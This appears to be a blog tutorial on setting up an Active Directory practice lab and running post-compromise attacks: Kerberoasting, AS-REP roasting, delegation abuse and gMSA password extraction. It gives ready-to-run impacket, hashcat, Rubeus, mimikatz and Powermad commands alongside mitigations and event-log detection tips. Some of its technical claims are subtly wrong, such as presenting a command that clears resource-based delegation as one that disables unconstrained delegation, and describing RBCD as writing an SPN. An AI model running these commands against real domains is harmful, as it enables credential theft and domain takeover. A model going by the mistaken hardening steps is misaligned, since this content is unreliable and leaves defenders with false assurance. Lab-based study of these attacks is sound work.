Listen to this Post
Introduction:
Active Directory (AD) remains the primary authentication and authorization hub for most enterprise networks, making it a prime target for attackers. Setting up a local, controlled AD lab allows security professionals to safely practice techniques like Kerberoasting, AS-REP roasting, and various delegation attacks without risking real infrastructure. Using open-source repositories such as those shared by the AD community (e.g., GitHub.com/PyroTek3/ADLab and related scripts), you can simulate realistic attack scenarios and learn how to both exploit and harden these vectors.
Learning Objectives:
- Build a functional Active Directory lab environment using virtualization and community-sourced automation scripts.
- Execute and detect post-compromise AD attacks including Kerberoasting, AS-REP roasting, and unconstrained/constrained delegation abuses.
- Apply mitigation commands and security configurations on Windows domain controllers and member servers to block common AD attack paths.
You Should Know:
- Setting Up Your Local Active Directory Lab Environment
To practice AD penetration testing, you need a domain controller (Windows Server 2019/2022), at least one domain-joined workstation (Windows 10/11), and a Kali Linux attack machine. The recommended GitHub repositories (https://lnkd.in/dwx9NejM and https://lnkd.in/dre3PHDP) provide PowerShell scripts to automate lab deployment.
Step‑by‑step guide:
- Install VMware or VirtualBox on your host machine. Create three VMs: `DC01` (Server 2022), `CLIENT01` (Win10), `KALI` (latest).
- On
DC01, install Active Directory Domain Services, promote it to a domain controller for a domain (e.g.,lab.local), and create test users (e.g.,svc_sql,user_jdoe). - Clone the ADLab repository inside `DC01` or a management jump box:
`git clone https://github.com/PyroTek3/ADLab.git` (or manually download the scripts). - Run the lab setup script from an elevated PowerShell:
.\Setup-ADLab.ps1 -DomainName lab.local -CreateTestUsers -EnableLegacyDelegations(This creates vulnerable configurations for Kerberoasting, AS-REP roasting, and delegation.)
- Join `CLIENT01` to `lab.local` as a standard domain user, and configure `KALI` with a NAT network so it can reach the domain controller.
Linux (Kali) commands to verify connectivity:
`ping dc01.lab.local`
`nslookup lab.local`
Windows command on DC to check AD health:
`dcdiag /v > C:\ADHealth.txt`
2. Kerberoasting: Extracting Service Account Hashes
Kerberoasting targets service principal names (SPNs) registered to domain user accounts. Any domain user can request a service ticket (TGS) for an SPN, and the ticket is encrypted with the service account’s NTLM hash. This hash can be cracked offline.
Step‑by‑step guide:
- On Kali, use `impacket-GetUserSPNs` to request TGS for all SPNs:
`impacket-GetUserSPNs -dc-ip 192.168.1.10 lab.local/standard_user:Password123 -request`
(Replace IP and credentials with your lab values.)
- Save the output hash to a file (e.g.,
krb_hash.txt). The hash format is$krb5tgs$.... - Crack with Hashcat (mode 13100):
`hashcat -m 13100 krb_hash.txt /usr/share/wordlists/rockyou.txt –force`
- Alternatively, use Rubeus on a compromised Windows machine:
`Rubeus.exe kerberoast /outfile:hashes.txt`
Mitigation on Windows DC:
- Use strong, long passwords for service accounts (25+ random characters).
- Set service accounts as “Managed Service Accounts” (gMSA) where possible – this automatically rotates passwords.
- Monitor event ID 4769 (Kerberos service ticket request) with anomalous ticket encryption types.
3. AS-REP Roasting: Abusing Accounts Without Pre‑Authentication
If a user account has the “Do not require Kerberos preauthentication” flag set (often misconfigured for legacy apps), an attacker can request an AS-REP and crack the encrypted part offline.
Step‑by‑step guide:
- From Kali, use `impacket-GetNPUsers` to find vulnerable users:
`impacket-GetNPUsers lab.local/ -dc-ip 192.168.1.10 -usersfile users.txt -format hashcat`
(If no user list, you can brute-force common usernames or retrieve from SMB enumeration.)
– The output includes a hash starting with $krb5asrep$. Crack with Hashcat mode 18200:
`hashcat -m 18200 asrep_hash.txt rockyou.txt`
- On a Windows domain-joined machine using Rubeus:
`Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt`
You Should Know:
To identify accounts with `DONT_REQ_PREAUTH` using PowerShell (AD module):
`Get-ADUser -Filter ‘userAccountControl -band 4194304’ -Properties userAccountControl | Select Name, userAccountControl`
Hardening:
- Disable the “Do not require Kerberos preauthentication” flag on all user accounts except for specific legacy systems with compensating controls.
- Run
Set-ADAccountControl -Identity username -DoesNotRequirePreAuth $false.
- Unconstrained Delegation: The Golden Ticket to Domain Compromise
If a computer (e.g., a web server) is configured for unconstrained delegation, it can impersonate any user to any service. Attackers who compromise such a machine can capture TGTs of any user who authenticates to it.
Step‑by‑step guide:
- Check for unconstrained delegation using PowerView on a compromised Windows machine:
`Import-Module .\PowerView.ps1`
`Get-NetComputer -Unconstrained`
`Get-NetUser -Unconstrained`
- Trigger a privileged user (e.g., domain admin) to authenticate to the compromised server (e.g., via PSExec or by forcing a service login).
- On the compromised server, extract the TGT from memory using Mimikatz:
`mimikatz.exe “privilege::debug” “sekurlsa::tickets /export”`
Then load the captured TGT into another session:
`mimikatz “kerberos::ptt [path-to-TGT- kirbi]”`
- Now you can access any service in the domain as that user.
Mitigation:
- Set delegation to “constrained” or “resource-based constrained” (RBCD). Never use unconstrained delegation unless absolutely required.
- Use Group Policy to disable printer/print spooler services on domain controllers (prevents some attack vectors).
Windows command to disable unconstrained delegation on a computer account:
`Set-ADComputer -Identity “web01” -PrincipalsAllowedToDelegateToAccount $null`
5. Constrained & Resource-Based Constrained Delegation Abuses
Constrained delegation limits which services a machine can impersonate a user to, but attackers can still impersonate any user (including administrators) to the allowed services (e.g., CIFS, HTTP). RBCD allows a machine to delegate to itself by writing an SPN to the target’s `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute.
Step‑by‑step guide (Constrained delegation abuse using Kekeo/Rubeus):
- Enumerate delegation configurations:
`Get-DomainComputer -TrustedToAuth` (PowerView)
- Use Rubeus to request a forwardable TGT for a service account with constrained delegation:
`Rubeus.exe tgtdeleg /target:dc01.lab.local`
- Then request a service ticket for the allowed service (e.g., CIFS/DC01) as a domain admin:
`Rubeus.exe s4u /tgt:tgt.kirbi /user:user_to_impersonate /service:cifs/dc01.lab.local /impersonateuser:Administrator`
RBCD attack (requires write access to a machine’s msDS-AllowedToActOnBehalfOfOtherIdentity):
– Create a new machine account (using PowerMad):
`.\Powermad.ps1` ; `New-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString ‘Pass123’ -AsPlainText -Force)`
– Set RBCD from target machine to attacker PC:
`Set-ADComputer -Identity TargetMachine -PrincipalsAllowedToDelegateToAccount AttackerPC$`
- Then use Rubeus S4U to impersonate a domain admin to the target machine.
Mitigation:
- Regularly audit `msDS-AllowedToActOnBehalfOfOtherIdentity` and remove unnecessary RBCD entries.
- Use administrative tiering and protect high-value machines (DCs, file servers) from write access by low-privileged accounts.
6. GMSA (Group Managed Service Accounts) Attacks
gMSAs have automatically rotated passwords managed by AD – but a compromised account that can read the gMSA password blob can extract the hash and impersonate the service.
Step‑by‑step guide:
- On a domain-joined Windows machine with RSAT tools, list gMSAs:
`Get-ADServiceAccount -Filter `
- Using the `ActiveDirectory` module and a principal that has “Read” access to the gMSA attributes, retrieve the password blob:
`$gmsa = Get-ADServiceAccount -Identity svc_gmsa -Properties msDS-ManagedPassword`
Then decrypt using the `DSInternals` module:
`$mp = ConvertFrom-ADManagedPasswordBlob $gmsa.’msDS-ManagedPassword’`
`$mp.CurrentPassword` (returns clear-text password)
- Alternatively, use `GMSAPasswordReader` (from GitHub) to extract current NTLM hash:
`GMSAPasswordReader.exe –accountname svc_gmsa`
You Should Know:
To protect gMSAs, restrict read access to only the servers that actually need to retrieve the password. Use security filtering in delegation groups.
7. Detecting & Logging AD Attacks (Defensive Commands)
Windows Event Logs are critical for spotting these attacks. Configure advanced audit policies on domain controllers.
Step‑by‑step guide:
- Enable Kerberos service ticket auditing via Group Policy:
`Computer Configuration → Windows Settings → Security Settings → Advanced Audit Policy → Audit Kerberos Authentication Service` → Enable Success/Failure. - Monitor event ID 4769 (TGS requested) – look for unusual service names or multiple requests from a single user.
- For AS-REP roasting: event ID 4768 (TGT requested) with “Pre-authentication” failure when expecting success.
- Use Sysmon to track process creation (e.g., Mimikatz, Rubeus) on endpoints.
- Deploy PowerShell logging (ScriptBlock, Module, Transcription) to record suspicious AD module commands.
Linux command to forward Windows logs to a SIEM (using rsyslog and nxlog):
`apt install nxlog-ce` – configure to read Event Viewer channels.
What Undercode Say:
- Key Takeaway 1: Active Directory attacks like Kerberoasting and delegation abuses are often successful because of misconfigurations (e.g., weak service account passwords, unnecessary unconstrained delegation). Building a local lab using shared GitHub scripts is the most effective way to learn both offensive techniques and defensive countermeasures.
- Key Takeaway 2: Modern AD hardening requires a multi‑layered approach – strong passwords, gMSAs where possible, constrained delegation only with strict service limits, and aggressive monitoring of Kerberos event IDs 4768/4769. No single mitigation stops all attacks, but applying them reduces the blast radius significantly.
Prediction:
As organizations accelerate cloud‑hybrid identity (Azure AD / Entra ID), traditional on‑prem AD attacks will shift to hybrid trust abuse (e.g., key trust, cloud Kerberos). However, legacy AD environments will remain for the next decade, and threat actors will continue exploiting Kerberoasting and delegation – especially resource‑based constrained delegation, which is still poorly understood by many defenders. Automated lab setups will become standard training for purple teams, and Microsoft will eventually deprecate unconstrained delegation entirely, forcing enterprises to redesign service authentication using gMSA and Azure managed identities.
▶️ Related Video (74% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Https: – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
